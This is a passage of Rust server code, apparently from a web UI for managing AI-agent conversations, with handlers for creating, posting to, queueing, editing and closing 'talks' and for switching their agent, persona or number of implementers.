7015 fn new(talk: Talk, thinking: bool, home: &FsPath) -> Self {
7018 let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
7019 Self::with_config(talk, thinking, cfg.as_ref(), home)
7020 }
7021
7022 fn with_config(mut talk: Talk, thinking: bool, cfg: Option<&Config>, home: &FsPath) -> Self {
7025 let snapshot = talk.clone();
7027 for (index, turn) in talk.turns.iter_mut().enumerate() {
7028 let original = &snapshot.turns[index];
7029 if turn.messages.is_empty() {
7030 if let Some(display) = talk::notice_display(&snapshot, original, None) {
7031 turn.messages.push(talk::Message {
7032 sender: Some(talk::Sender::Magi),
7033 body: original.body.clone(),
7034 display: Some(display),
7035 attachments: original.attachments.clone(),
7036 reply: None,
7037 });
7038 }
7039 } else {
7040 for (i, message) in turn.messages.iter_mut().enumerate() {
7041 message.display =
7042 talk::notice_display(&snapshot, original, original.messages.get(i));
7043 if message.display.is_some() {
7044 message.sender = Some(talk::Sender::Magi);
7045 }
7046 }
7047 }
7048 }
7049 for message in &mut talk.pending_messages {
7050 if message.display.is_none()
7051 && (message.sender == Some(talk::Sender::Magi)
7052 || snapshot
7053 .completion_notices
7054 .iter()
7055 .any(|r| r.notice == message.body))
7056 {
7057 message.display = crate::prompt::legacy_notice_display(&message.body);
7058 if message.display.is_some() {
7059 message.sender = Some(talk::Sender::Magi);
7060 }
7061 }
7062 }
7063 if talk.pending_messages.is_empty()
7064 && snapshot
7065 .completion_notices
7066 .iter()
7067 .any(|r| r.notice == talk.pending)
7068 && let Some(display) = crate::prompt::legacy_notice_display(&talk.pending)
7069 {
7070 talk.pending_messages.push(talk::Message {
7071 sender: Some(talk::Sender::Magi),
7072 display: Some(display),
7073 body: talk.pending.clone(),
7074 attachments: talk.pending_attachments.clone(),
7075 reply: None,
7076 });
7077 }
7078 let excerpts: Vec<Vec<Option<String>>> = talk
7079 .turns
7080 .iter()
7081 .map(|turn| {
7082 turn.messages
7083 .iter()
7084 .map(|m| {
7085 m.display
7086 .as_ref()
7087 .map(|d| d.facts.chars().take(240).collect())
7088 })
7089 .collect()
7090 })
7091 .collect();
7092 for turn in &mut talk.turns {
7093 let provenance = talk::sender(turn, None);
7094 turn.sender = Some(provenance);
7095 for message in &mut turn.messages {
7096 message.sender = Some(message.sender.unwrap_or(provenance));
7097 }
7098 }
7099 let senders: Vec<Vec<talk::Sender>> = talk
7101 .turns
7102 .iter()
7103 .map(|turn| {
7104 if turn.messages.is_empty() {
7105 vec![talk::sender(turn, None)]
7106 } else {
7107 turn.messages
7108 .iter()
7109 .map(|m| talk::sender(turn, Some(m)))
7110 .collect()
7111 }
7112 })
7113 .collect();
7114 for reply in talk
7115 .turns
7116 .iter_mut()
7117 .flat_map(|t| t.messages.iter_mut())
7118 .chain(talk.pending_messages.iter_mut())
7119 .filter_map(|m| m.reply.as_mut())
7120 {
7121 if let Some(Some(excerpt)) = excerpts
7122 .get(reply.target.turn)
7123 .and_then(|ms| ms.get(reply.target.message))
7124 {
7125 reply.excerpt = excerpt.clone();
7126 reply.sender = Some(talk::Sender::Magi);
7127 }
7128 if reply.sender.is_none() {
7129 reply.sender = senders
7130 .get(reply.target.turn)
7131 .and_then(|messages| messages.get(reply.target.message))
7132 .copied();
7133 }
7134 }
7135 let context = talk::context_usage(&talk, cfg);
7136 let turn_bodies_md = talk
7137 .turns
7138 .iter()
7139 .map(|turn| md::to_nodes(&turn.body, &md::ImageBase::None))
7140 .collect();
7141 let specs = cfg.map_or(&[][..], |c| &c.talk.personas[..]);
7142 let persona_name = persona::find(specs, &talk.persona)
7143 .filter(|p| !p.is_default())
7144 .map(|p| p.name);
7145 let persona_avatar = avatar_url(
7146 &talk.id,
7147 &persona::find(specs, &talk.persona)
7148 .unwrap_or_else(|| persona::find(specs, persona::DEFAULT_ID).expect("default")),
7149 );
7150 let operator_name = cfg.and_then(|c| c.talk.operator_name()).map(str::to_owned);
7151 Self {
7152 turn_bodies_md,
7153 thinking,
7154 context,
7155 operator_name,
7156 persona_name,
7157 persona_avatar,
7158 magi_avatar: magi_icon_url(home),
7159 operator_avatar: format!(
7160 "/avatars/operator.svg?v={}",
7161 persona_icon::fingerprint(Some(persona_icon::operator_svg()))
7162 ),
7163 talk,
7164 }
7165 }
7166}
7167
7168#[derive(Debug, Serialize)]
7173struct TalkDetailView {
7174 #[serde(flatten)]
7175 view: TalkView,
7176 tasks: Vec<TaskView>,
7177 roster: Vec<RosterEntry>,
7180 personas: Vec<PersonaEntry>,
7183}
7184
7185#[derive(Debug, Serialize)]
7187struct PersonaEntry {
7188 id: String,
7189 name: String,
7190 avatar: String,
7192}
7193
7194#[derive(Debug, Serialize)]
7196struct RosterEntry {
7197 id: String,
7198 kind: AgentKind,
7199 runnable: bool,
7201}
7202
7203async fn talks_list(
7208 State(ui): State<Arc<Ui>>,
7209 Query(q): Query<ListQuery>,
7210) -> ApiResult<Json<Vec<TalkView>>> {
7211 blocking(move || {
7212 let mut configs: HashMap<PathBuf, Option<Config>> = HashMap::new();
7213 Ok(Json(
7214 ui.talks
7215 .list()
7216 .into_iter()
7217 .filter(|talk| q.contains(&talk.id))
7218 .map(|talk| {
7219 let thinking = ui.is_thinking(&talk.id);
7220 let cfg = configs
7221 .entry(talk.repo.clone())
7222 .or_insert_with(|| Config::discover(&talk.repo, None).ok().map(|(c, _)| c));
7223 TalkView::with_config(talk, thinking, cfg.as_ref(), &ui.home)
7224 })
7225 .collect(),
7226 ))
7227 })
7228 .await
7229}
7230
7231#[derive(Debug, Default, Deserialize)]
7236#[serde(default)]
7237struct NewTalk {
7238 agent: Option<String>,
7239 repo: Option<PathBuf>,
7240 preferred_agent: Option<serde_json::Value>,
7244 persona: Option<serde_json::Value>,
7245 implementers: Option<serde_json::Value>,
7246}
7247
7248async fn talk_post(
7251 State(ui): State<Arc<Ui>>,
7252 body: std::result::Result<Json<NewTalk>, JsonRejection>,
7253) -> ApiResult<impl IntoResponse> {
7254 let body = match body {
7258 Ok(Json(body)) => body,
7259 Err(JsonRejection::MissingJsonContentType(_)) => NewTalk::default(),
7260 Err(e) => return Err(ApiError::bad_request(e.body_text())),
7261 };
7262 let repo = body.repo.clone().unwrap_or_else(|| ui.repo.clone());
7263 let cfg = config_for(&repo).await?;
7264 let view = blocking(move || {
7265 let preferred = talk::Preferred {
7266 agent: body
7267 .preferred_agent
7268 .as_ref()
7269 .and_then(|v| v.as_str())
7270 .map(str::to_owned),
7271 persona: body
7272 .persona
7273 .as_ref()
7274 .and_then(|v| v.as_str())
7275 .map(str::to_owned),
7276 implementers: body.implementers.as_ref().and_then(|v| v.as_i64()),
7277 };
7278 let talk = talk::begin_with(&ui.talks, &cfg, repo, body.agent.as_deref(), &preferred)?;
7279 let thinking = ui.is_thinking(&talk.id);
7280 Ok(TalkView::new(talk, thinking, &ui.home))
7281 })
7282 .await?;
7283 Ok((StatusCode::CREATED, Json(view)))
7284}
7285
7286async fn talk_detail(
7288 State(ui): State<Arc<Ui>>,
7289 Path(id): Path<String>,
7290) -> ApiResult<Json<TalkDetailView>> {
7291 blocking(move || {
7292 let id = resolve_talk(&ui.talks, &id)?;
7293 let talk = ui.talks.get(&id)?;
7294 let thinking = ui.is_thinking(&talk.id);
7295 let tasks = talk::tasks_of(&ui.queue, &talk.id)
7296 .into_iter()
7297 .map(TaskView::from)
7298 .collect();
7299 let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
7300 let roster = cfg
7301 .as_ref()
7302 .map(|cfg| {
7303 cfg.agents
7304 .iter()
7305 .map(|a| RosterEntry {
7306 id: a.id.clone(),
7307 kind: a.kind,
7308 runnable: agent::installed(a),
7309 })
7310 .collect()
7311 })
7312 .unwrap_or_default();
7313 let specs = cfg
7314 .as_ref()
7315 .map(|cfg| cfg.talk.personas.clone())
7316 .unwrap_or_default();
7317 let personas = persona::catalog(&specs)
7318 .into_iter()
7319 .map(|p| PersonaEntry {
7320 avatar: avatar_url(&talk.id, &p),
7321 id: p.id,
7322 name: p.name,
7323 })
7324 .collect();
7325 Ok(Json(TalkDetailView {
7326 view: TalkView::with_config(talk, thinking, cfg.as_ref(), &ui.home),
7327 tasks,
7328 roster,
7329 personas,
7330 }))
7331 })
7332 .await
7333}
7334
7335#[derive(Debug, Default, Deserialize)]
7341#[serde(default, deny_unknown_fields)]
7342struct NewTalkTurn {
7343 reply_to: Option<talk::ReplyTarget>,
7344 text: String,
7345 attachments: Vec<String>,
7346}
7347
7348#[derive(Debug, Deserialize)]
7349#[serde(deny_unknown_fields)]
7350struct EditTalkPending {
7351 #[serde(default)]
7352 message: Option<usize>,
7353 text: String,
7354 expected_text: String,
7355 expected_attachments: Vec<String>,
7356}
7357
7358#[derive(Debug, Deserialize)]
7359#[serde(deny_unknown_fields)]
7360struct ClearTalkPending {
7361 expected_text: String,
7362 expected_attachments: Vec<String>,
7363}
7364
7365async fn talk_say(
7377 State(ui): State<Arc<Ui>>,
7378 Path(id): Path<String>,
7379 body: std::result::Result<Json<NewTalkTurn>, JsonRejection>,
7380) -> ApiResult<(StatusCode, Json<TalkView>)> {
7381 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7382 if body.text.trim().is_empty() && body.attachments.is_empty() {
7383 return Err(ApiError::bad_request("say something"));
7384 }
7385
7386 let id = {
7387 let ui = Arc::clone(&ui);
7388 let asked = id.clone();
7389 blocking(move || resolve_talk(&ui.talks, &asked)).await?
7390 };
7391 {
7395 let ui = Arc::clone(&ui);
7396 let id = id.clone();
7397 blocking(move || {
7398 let talk = ui.talks.get(&id)?;
7399 if !talk.status.open() {
7400 return Err(ApiError::conflict(format!(
7401 "talk {} is {} and takes no more turns",
7402 talk.short(),
7403 talk.status.as_str()
7404 )));
7405 }
7406 Ok(())
7407 })
7408 .await?;
7409 }
7410
7411 let attachments = {
7416 let ui = Arc::clone(&ui);
7417 let id = id.clone();
7418 let ids = body.attachments.clone();
7419 blocking(move || {
7420 ids.into_iter()
7421 .map(|att_id| {
7422 ui.talks.attachment_meta(&id, &att_id)?.ok_or_else(|| {
7423 ApiError::bad_request(format!("unknown attachment `{att_id}`"))
7424 })
7425 })
7426 .collect::<ApiResult<Vec<talk::Attachment>>>()
7427 })
7428 .await?
7429 };
7430
7431 let start = {
7436 let ui = Arc::clone(&ui);
7437 let id = id.clone();
7438 blocking(move || ui.begin_talk_turn_unless_pending(&id)).await?
7439 };
7440 let turn_guard = match start {
7441 TalkTurnStart::Claimed(turn_guard) => turn_guard,
7442 TalkTurnStart::Pending => {
7443 return Err(ApiError::conflict(
7444 "a queued draft is waiting; resume it, edit it, or clear it before sending another message",
7445 ));
7446 }
7447 TalkTurnStart::Foreign => {
7448 return Err(ApiError::conflict(
7449 "a turn is already running in another process; try again when it has finished",
7450 ));
7451 }
7452 TalkTurnStart::Busy => {
7453 let (tx, rx) = tokio::sync::oneshot::channel();
7469 tokio::spawn({
7470 let ui = Arc::clone(&ui);
7471 let id = id.clone();
7472 let said = body.text.clone();
7473 let reply_to = body.reply_to.clone();
7474 async move {
7475 let written = blocking({
7476 let ui = Arc::clone(&ui);
7477 let id = id.clone();
7478 move || {
7479 let mut talk = ui.talks.get(&id)?;
7480 #[cfg(test)]
7485 if let Some(gate) = ui
7486 .busy_queue_gate
7487 .lock()
7488 .unwrap_or_else(PoisonError::into_inner)
7489 .take()
7490 {
7491 let _ = gate.reached.send(());
7492 let _ = gate.release.recv();
7493 }
7494 if let Err(error) = talk::queue_reply(
7495 &mut talk,
7496 &ui.talks,
7497 &said,
7498 attachments,
7499 reply_to,
7500 ) {
7501 if let Ok(fresh) = ui.talks.get(&id) {
7502 if !fresh.status.open() {
7503 return Err(ApiError::conflict(format!(
7504 "talk {} is {} and takes no more turns",
7505 fresh.short(),
7506 fresh.status.as_str()
7507 )));
7508 }
7509 }
7510 return Err(
7511 if error.to_string().contains("invalid reply target") {
7512 ApiError::bad_request("invalid reply target")
7513 } else {
7514 ApiError::from(error)
7515 },
7516 );
7517 }
7518 let claim = match ui.begin_queued_talk_turn(&id)? {
7529 Some(turn_guard) => {
7530 let (cfg, _) = Config::discover(&talk.repo, None)?;
7531 Some((talk.clone(), cfg, turn_guard))
7532 }
7533 None => None,
7534 };
7535 let thinking = ui.is_thinking(&id);
7536 Ok((TalkView::new(talk, thinking, &ui.home), claim))
7537 }
7538 })
7539 .await;
7540 let (view, reclaimed) = match written {
7541 Ok(pair) => pair,
7542 Err(e) => {
7543 let _ = tx.send(Err(e));
7548 return;
7549 }
7550 };
7551 let _ = tx.send(Ok(view));
7554 if let Some((talk, cfg, turn_guard)) = reclaimed {
7555 let talks = ui.talks.clone();
7556 drain_loop(talk, talks, cfg, id, turn_guard).await;
7557 }
7558 }
7559 });
7560 let view = rx
7561 .await
7562 .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
7563 return Ok((StatusCode::ACCEPTED, Json(view)));
7564 }
7565 };
7566
7567 let (talk, cfg) = {
7568 let ui = Arc::clone(&ui);
7569 let id = id.clone();
7570 blocking(move || {
7571 let talk = ui.talks.get(&id)?;
7572 let (cfg, _) = Config::discover(&talk.repo, None)?;
7573 Ok((talk, cfg))
7574 })
7575 .await?
7576 };
7577
7578 let talks = ui.talks.clone();
7579 let (tx, rx) = tokio::sync::oneshot::channel();
7594 tokio::spawn({
7595 let ui = Arc::clone(&ui);
7596 let talks = talks.clone();
7597 let id = id.clone();
7598 let said = body.text.clone();
7599 let reply_to = body.reply_to.clone();
7600 let mut talk = talk.clone();
7601 async move {
7602 let recorded = blocking({
7603 let talks = talks.clone();
7604 move || {
7605 if let Err(error) =
7606 talk::record_reply(&mut talk, &talks, &said, attachments, reply_to)
7607 {
7608 if let Ok(fresh) = talks.get(&talk.id) {
7609 if !fresh.status.open() {
7610 return Err(ApiError::conflict(format!(
7611 "talk {} is {} and takes no more turns",
7612 fresh.short(),
7613 fresh.status.as_str()
7614 )));
7615 }
7616 }
7617 return Err(if error.to_string().contains("invalid reply target") {
7618 ApiError::bad_request("invalid reply target")
7619 } else {
7620 ApiError::from(error)
7621 });
7622 }
7623 Ok((said.trim().to_owned(), talk))
7629 }
7630 })
7631 .await;
7632 let (text, mut talk) = match recorded {
7633 Ok(pair) => pair,
7634 Err(e) => {
7635 let _ = tx.send(Err(e));
7639 return;
7640 }
7641 };
7642 let queued = talk.clone();
7643 let thinking = ui.is_thinking(&id);
7644 let _ = tx.send(Ok((queued, thinking)));
7647
7648 if let Err(e) = turn_guard.respond(&mut talk, &talks, &cfg, &text).await {
7649 tracing::warn!("talk {id} turn failed: {e:#}");
7653 }
7654 drain_loop(talk, talks, cfg, id, turn_guard).await;
7657 }
7658 });
7659
7660 let (queued, thinking) = rx
7661 .await
7662 .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
7663
7664 Ok((
7666 StatusCode::ACCEPTED,
7667 Json(TalkView::new(queued, thinking, &ui.home)),
7668 ))
7669}
7670
7671async fn talk_pending_resume(
7675 State(ui): State<Arc<Ui>>,
7676 Path(id): Path<String>,
7677) -> ApiResult<(StatusCode, Json<TalkView>)> {
7678 let id = {
7679 let ui = Arc::clone(&ui);
7680 let asked = id.clone();
7681 blocking(move || resolve_talk(&ui.talks, &asked)).await?
7682 };
7683 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
7684 return Err(ApiError::conflict(
7685 "a talk turn is already running; the queued draft will be handled by it",
7686 ));
7687 };
7688 let (talk, cfg) = {
7689 let ui = Arc::clone(&ui);
7690 let id = id.clone();
7691 blocking(move || {
7692 let talk = ui.talks.get(&id)?;
7693 if !talk.status.open() {
7694 return Err(ApiError::conflict(format!(
7695 "talk {} is {} and takes no more turns",
7696 talk.short(),
7697 talk.status.as_str()
7698 )));
7699 }
7700 if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
7701 return Err(ApiError::conflict("there is no queued draft to resume"));
7702 }
7703 let (cfg, _) = Config::discover(&talk.repo, None)?;
7704 Ok((talk, cfg))
7705 })
7706 .await?
7707 };
7708 let view = TalkView::new(talk.clone(), true, &ui.home);
7709 let talks = ui.talks.clone();
7710 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
7711 Ok((StatusCode::ACCEPTED, Json(view)))
7712}
7713
7714async fn drain_loop(talk: Talk, talks: Talks, cfg: Config, id: String, turn: TalkTurnGuard) {
7730 drain_loop_started(talk, talks, cfg, id, turn, None).await;
7731}
7732
7733async fn settle_settings_turn(
7737 talk: Talk,
7738 talks: Talks,
7739 cfg: Config,
7740 id: String,
7741 turn: TalkTurnGuard,
7742 observed: u64,
7743) -> bool {
7744 if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
7745 let turns = Arc::clone(&turn.turns);
7746 let mut live = turns.lock().unwrap_or_else(PoisonError::into_inner);
7747 if live.queued.get(&id).copied().unwrap_or(0) == observed {
7748 turn.release(&mut live);
7750 return false;
7751 }
7752 }
7753 let (started, settled) = tokio::sync::oneshot::channel();
7754 tokio::spawn(drain_loop_started(
7755 talk,
7756 talks,
7757 cfg,
7758 id,
7759 turn,
7760 Some(started),
7761 ));
7762 settled.await.unwrap_or(false)
7763}
7764
7765async fn drain_loop_started(
7766 mut talk: Talk,
7767 talks: Talks,
7768 cfg: Config,
7769 id: String,
7770 turn: TalkTurnGuard,
7771 mut started: Option<tokio::sync::oneshot::Sender<bool>>,
7772) {
7773 let live_set = Arc::clone(&turn.turns);
7774 let mut turn = Some(turn);
7782 loop {
7783 if !turn.as_ref().is_some_and(TalkTurnGuard::owns) {
7784 tracing::warn!("talk {id} lost its turn lease; not draining further");
7787 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
7788 if let Some(turn) = turn.take() {
7789 turn.release(&mut live);
7790 }
7791 break;
7792 }
7793 {
7794 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
7797 if live.parking {
7798 if let Some(turn) = turn.take() {
7799 turn.release(&mut live);
7800 }
7801 break;
7802 }
7803 }
7804 let observed = live_set
7808 .lock()
7809 .unwrap_or_else(PoisonError::into_inner)
7810 .queued
7811 .get(&id)
7812 .copied()
7813 .unwrap_or(0);
7814 let drained = blocking({
7815 let talks = talks.clone();
7816 let live_set = Arc::clone(&live_set);
7817 move || {
7818 let live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
7823 let result = if live.parking {
7824 Ok(None)
7825 } else {
7826 talk::drain(&mut talk, &talks)
7827 };
7828 drop(live);
7829 Ok((talk, result))
7830 }
7831 })
7832 .await;
7833 let (next_talk, result) = match drained {
7834 Ok(drained) => drained,
7835 Err(e) => {
7836 tracing::warn!(
7837 status = %e.status,
7838 message = %e.message,
7839 "talk {id} could not start queued-text drain"
7840 );
7841 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
7842 turn.take()
7843 .expect("held for the whole loop until released here")
7844 .release(&mut live);
7845 break;
7846 }
7847 };
7848 talk = next_talk;
7849 let drained = match result {
7850 Ok(Some(drained)) => drained,
7851 Ok(None) => {
7852 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
7853 if live.queued.get(&id).copied().unwrap_or(0) != observed {
7854 continue;
7855 }
7856 turn.take()
7857 .expect("held for the whole loop until released here")
7858 .release(&mut live);
7859 break;
7860 }
7861 Err(e) => {
7862 tracing::warn!("talk {id} could not drain queued text: {e:#}");
7863 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
7864 turn.take()
7865 .expect("held for the whole loop until released here")
7866 .release(&mut live);
7867 break;
7868 }
7869 };
7870 if let Some(started) = started.take() {
7871 let _ = started.send(true);
7872 }
7873 let responded = match turn.as_ref() {
7874 Some(turn) => turn.respond(&mut talk, &talks, &cfg, &drained).await,
7875 None => Err(anyhow::anyhow!("the turn guard was released")),
7876 };
7877 if let Err(e) = responded {
7878 tracing::warn!("talk {id} turn failed: {e:#}");
7879 }
7880 }
7881 drop(turn);
7882 if let Some(started) = started {
7883 let _ = started.send(false);
7884 }
7885}
7886
7887async fn talk_pending_clear(
7889 State(ui): State<Arc<Ui>>,
7890 Path(id): Path<String>,
7891 body: std::result::Result<Json<ClearTalkPending>, JsonRejection>,
7892) -> ApiResult<Json<TalkView>> {
7893 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7894 blocking(move || {
7895 let id = resolve_talk(&ui.talks, &id)?;
7896 let mut talk = ui.talks.get(&id)?;
7897 if !talk.status.open() {
7898 return Err(ApiError::conflict(format!(
7899 "talk {} is {} and takes no more turns",
7900 talk.short(),
7901 talk.status.as_str()
7902 )));
7903 }
7904 if !talk::clear_pending_if_matches(
7905 &mut talk,
7906 &ui.talks,
7907 &body.expected_text,
7908 &body.expected_attachments,
7909 )? {
7910 return Err(ApiError::conflict(
7911 "queued message changed; reload it before clearing",
7912 ));
7913 }
7914 let thinking = ui.is_thinking(&talk.id);
7915 Ok(Json(TalkView::new(talk, thinking, &ui.home)))
7916 })
7917 .await
7918}
7919
7920async fn talk_pending_edit(
7924 State(ui): State<Arc<Ui>>,
7925 Path(id): Path<String>,
7926 body: std::result::Result<Json<EditTalkPending>, JsonRejection>,
7927) -> ApiResult<Json<TalkView>> {
7928 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7929 let (view, reclaimed) = blocking({
7930 let ui = Arc::clone(&ui);
7931 move || {
7932 let id = resolve_talk(&ui.talks, &id)?;
7933 let mut talk = ui.talks.get(&id)?;
7934 if !talk.status.open() {
7935 return Err(ApiError::conflict(format!(
7936 "talk {} is {} and takes no more turns",
7937 talk.short(),
7938 talk.status.as_str()
7939 )));
7940 }
7941 if !talk::edit_pending_message(
7942 &mut talk,
7943 &ui.talks,
7944 &body.text,
7945 &body.expected_text,
7946 &body.expected_attachments,
7947 body.message,
7948 )? {
7949 return Err(ApiError::conflict(
7950 "queued message changed; reload it before editing",
7951 ));
7952 }
7953 let claim = match ui.begin_queued_talk_turn(&id)? {
7954 Some(turn_guard) => {
7955 let (cfg, _) = Config::discover(&talk.repo, None)?;
7956 Some((talk.clone(), cfg, id.clone(), turn_guard))
7957 }
7958 None => None,
7959 };
7960 let thinking = ui.is_thinking(&id);
7961 Ok((TalkView::new(talk, thinking, &ui.home), claim))
7962 }
7963 })
7964 .await?;
7965 if let Some((talk, cfg, id, turn_guard)) = reclaimed {
7966 let talks = ui.talks.clone();
7967 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
7968 }
7969 Ok(Json(view))
7970}
7971
7972fn refuse_if_closed(talk: &Talk) -> ApiResult<()> {
7974 if talk.status.open() {
7975 return Ok(());
7976 }
7977 Err(ApiError::conflict(format!(
7978 "talk {} is {} and takes no more turns",
7979 talk.short(),
7980 talk.status.as_str()
7981 )))
7982}
7983
7984#[derive(Debug, Deserialize)]
7986struct TalkAgent {
7987 agent: String,
7988}
7989
7990async fn talk_agent(
7995 State(ui): State<Arc<Ui>>,
7996 Path(id): Path<String>,
7997 Json(body): Json<TalkAgent>,
7998) -> ApiResult<Json<TalkView>> {
7999 let id = {
8000 let ui = Arc::clone(&ui);
8001 blocking(move || resolve_talk(&ui.talks, &id)).await?
8002 };
8003 let repo = {
8004 let ui = Arc::clone(&ui);
8005 let id = id.clone();
8006 blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
8007 };
8008 let cfg = config_for(&repo).await?;
8009 {
8011 let ui = Arc::clone(&ui);
8012 let id = id.clone();
8013 let cfg = cfg.clone();
8014 let wanted = body.agent.clone();
8015 blocking(move || {
8016 agent::pick(&cfg.agents, Some(&wanted), &agent::installed)
8017 .map_err(ApiError::bad_request_from)?;
8018 refuse_if_closed(&ui.talks.get(&id)?)
8019 })
8020 .await?;
8021 }
8022 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
8023 return Err(ApiError::conflict(
8024 "a talk turn is running; change the agent once it has answered",
8025 ));
8026 };
8027 let switched = {
8028 let ui = Arc::clone(&ui);
8029 let id = id.clone();
8030 let cfg = cfg.clone();
8031 blocking(move || {
8032 let spec = agent::pick(&cfg.agents, Some(&body.agent), &agent::installed)
8033 .map_err(ApiError::bad_request_from)?;
8034 let mut talk = ui.talks.get(&id)?;
8035 if !talk.status.open() {
8036 return Err(ApiError::conflict(format!(
8037 "talk {} is {} and takes no more turns",
8038 talk.short(),
8039 talk.status.as_str()
8040 )));
8041 }
8042 talk::switch_agent(&mut talk, &ui.talks, &spec)?;
8043 Ok(talk)
8044 })
8045 .await
8046 };
8047 let observed = ui.queued_generation(&id);
8052 let fresh = {
8053 let ui = Arc::clone(&ui);
8054 let id = id.clone();
8055 blocking(move || Ok(ui.talks.get(&id)?)).await
8056 };
8057 let draining = match fresh {
8058 Ok(talk) => {
8059 settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
8060 }
8061 Err(_) => false,
8062 };
8063 let talk = switched?;
8064 Ok(Json(TalkView::new(talk, draining, &ui.home)))
8065}
8066
8067#[derive(Debug, Deserialize)]
8069struct TalkPersona {
8070 persona: String,
8071}
8072
8073async fn talk_persona(
8077 State(ui): State<Arc<Ui>>,
8078 Path(id): Path<String>,
8079 Json(body): Json<TalkPersona>,
8080) -> ApiResult<Json<TalkView>> {
8081 let id = {
8082 let ui = Arc::clone(&ui);
8083 blocking(move || resolve_talk(&ui.talks, &id)).await?
8084 };
8085 let repo = {
8086 let ui = Arc::clone(&ui);
8087 let id = id.clone();
8088 blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
8089 };
8090 let cfg = config_for(&repo).await?;
8091 {
8093 let ui = Arc::clone(&ui);
8094 let id = id.clone();
8095 let cfg = cfg.clone();
8096 let wanted = body.persona.clone();
8097 blocking(move || {
8098 if persona::find(&cfg.talk.personas, &wanted).is_none() {
8099 return Err(ApiError::bad_request(format!("unknown persona `{wanted}`")));
8100 }
8101 refuse_if_closed(&ui.talks.get(&id)?)
8102 })
8103 .await?;
8104 }
8105 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
8106 return Err(ApiError::conflict(
8107 "a talk turn is running; change the persona once it has answered",
8108 ));
8109 };
8110 let switched = {
8111 let ui = Arc::clone(&ui);
8112 let id = id.clone();
8113 let cfg = cfg.clone();
8114 blocking(move || {
8115 let Some(chosen) = persona::find(&cfg.talk.personas, &body.persona) else {
8116 return Err(ApiError::bad_request(format!(
8117 "unknown persona `{}`",
8118 body.persona
8119 )));
8120 };
8121 let mut talk = ui.talks.get(&id)?;
8122 if !talk.status.open() {
8123 return Err(ApiError::conflict(format!(
8124 "talk {} is {} and takes no more turns",
8125 talk.short(),
8126 talk.status.as_str()
8127 )));
8128 }
8129 talk::switch_persona(&mut talk, &ui.talks, &chosen.id)?;
8130 Ok(talk)
8131 })
8132 .await
8133 };
8134 let observed = ui.queued_generation(&id);
8136 let fresh = {
8137 let ui = Arc::clone(&ui);
8138 let id = id.clone();
8139 blocking(move || Ok(ui.talks.get(&id)?)).await
8140 };
8141 let draining = match fresh {
8142 Ok(talk) => {
8143 settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
8144 }
8145 Err(_) => false,
8146 };
8147 let talk = switched?;
8148 Ok(Json(TalkView::new(talk, draining, &ui.home)))
8149}
8150
8151#[derive(Debug, Deserialize)]
8153struct TalkImplementers {
8154 implementers: u8,
8155}
8156
8157async fn talk_implementers(
8161 State(ui): State<Arc<Ui>>,
8162 Path(id): Path<String>,
8163 Json(body): Json<TalkImplementers>,
8164) -> ApiResult<Json<TalkView>> {
8165 let id = {
8166 let ui = Arc::clone(&ui);
8167 blocking(move || resolve_talk(&ui.talks, &id)).await?
8168 };
8169 let repo = {
8170 let ui = Arc::clone(&ui);
8171 let id = id.clone();
8172 blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
8173 };
8174 let cfg = config_for(&repo).await?;
8175 {
8180 let ui = Arc::clone(&ui);
8181 let id = id.clone();
8182 let cfg = cfg.clone();
8183 let wanted = body.implementers;
8184 blocking(move || {
8185 talk::check_implementers(wanted, &cfg).map_err(ApiError::bad_request)?;
8186 refuse_if_closed(&ui.talks.get(&id)?)
8187 })
8188 .await?;
8189 }
8190 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
8191 return Err(ApiError::conflict(
8192 "a talk turn is running; change the implementers once it has answered",
8193 ));
8194 };
8195 let switched = {
8196 let ui = Arc::clone(&ui);
8197 let id = id.clone();
8198 let cfg = cfg.clone();
8199 blocking(move || {
8200 let chosen =
8201 talk::check_implementers(body.implementers, &cfg).map_err(ApiError::bad_request)?;
8202 let mut talk = ui.talks.get(&id)?;
8203 if !talk.status.open() {
8204 return Err(ApiError::conflict(format!(
8205 "talk {} is {} and takes no more turns",
8206 talk.short(),
8207 talk.status.as_str()
8208 )));
8209 }
8210 talk::switch_implementers(&mut talk, &ui.talks, chosen)?;
8211 Ok(talk)
8212 })
8213 .await
8214 };
8215 let observed = ui.queued_generation(&id);
8217 let fresh = {
8218 let ui = Arc::clone(&ui);
8219 let id = id.clone();
8220 blocking(move || Ok(ui.talks.get(&id)?)).await
8221 };
8222 let draining = match fresh {
8223 Ok(talk) => {
8224 settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
8225 }
8226 Err(_) => false,
8227 };
8228 let talk = switched?;
8229 Ok(Json(TalkView::new(talk, draining, &ui.home)))
8230}
8231
8232async fn talk_close(
8234 State(ui): State<Arc<Ui>>,
8235 Path(id): Path<String>,
8236) -> ApiResult<Json<TalkView>> {
8237 blocking(move || {
8238 let id = resolve_talk(&ui.talks, &id)?;
8239 let mut talk = ui.talks.get(&id)?;
8240 talk::close(&mut talk, &ui.talks)?;
8241 let thinking = ui.is_thinking(&talk.id);
8242 Ok(Json(TalkView::new(talk, thinking, &ui.home)))
8243 })
8244 .await
8245}
8246
8247async fn talk_reopen(
